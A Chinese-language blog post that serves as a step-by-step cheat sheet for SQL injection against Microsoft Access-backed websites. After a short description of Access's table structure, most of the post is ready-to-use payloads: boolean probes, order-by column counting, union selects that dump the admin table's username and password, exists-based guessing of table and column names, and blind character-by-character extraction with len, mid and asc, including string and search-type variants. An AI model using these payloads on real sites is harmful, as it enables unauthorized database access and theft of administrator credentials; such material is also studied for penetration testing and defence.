ACCESS SQL 注入
ACCESS SQL 注入
简介
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。
access数据库结构
access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。
测试SQL注入方法
联合查询
#判断注入
and 1=1
and 1=2
#猜列数
order by 3
#猜表名(报错说明表名不存在,将admin换成别的继续猜)
union select 1,2,3 from admin
#猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列名继续猜)(列名猜对后输出账号密码)
union select 1,2,username from admin
逐字猜解法
#判断注入
and 1=1 and 1=2
#猜表名
and exists (select * from admin)
#猜列名
and exists (select user_name from admin)
#查数据:
1.确定长度
and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)
2.确定asc数据(asc编码)
and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位
(user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)
access注入基本流程
-
判断有无注入
-
猜解表名
-
猜解字段
-
猜解管理员ID值
-
猜解用户名和密码长度
-
猜解用户名和密码
判断有无注入
粗略型:提交单引号' 参数值-1
逻辑型(数字型注入):and 1=1 / and 1=2
逻辑型(字符型注入):' and '1'='1 / ' and '1'='2
逻辑型(搜索型注入):%' and 1=1 and '%'='% / %' and 1=2 and '%'='%
猜解表名
#用exists判断select * from admin的结果是否为真
and exists (select * from 表名)
#(<>:不等于), count是统计的函数,统计表中的所有字段。列数不等于0说明存在表
and 0<>(select count(*) from 表名)
猜解字段
#若页面返回正常,就说明admin 表里存在id这个字段
and exists (select id from admin)
猜解管理员ID值
#若页面返回正常,就说明存在id=1的帐号
and exists (select id from admin where id=1)
猜解用户名和密码长度
#猜出存在id=1的帐号,下面语句页面返回正常,就说明UserName字段长度小于6
and exists (select id from admin where len (UserName) >6 and id=1)
#top表示把最前面的一条记录提取出来;
and (select top 1 len(UserName) from admin)=8
猜解用户名和密码
and (select top 1 asc(mid(列名,1,1)) from 表名)>0
and (select top 1 asc(mid(UserName,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)
and (select top 1 asc(mid(UserName,2,1)) from admin)=97 判断第二位
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/articles/16031338.html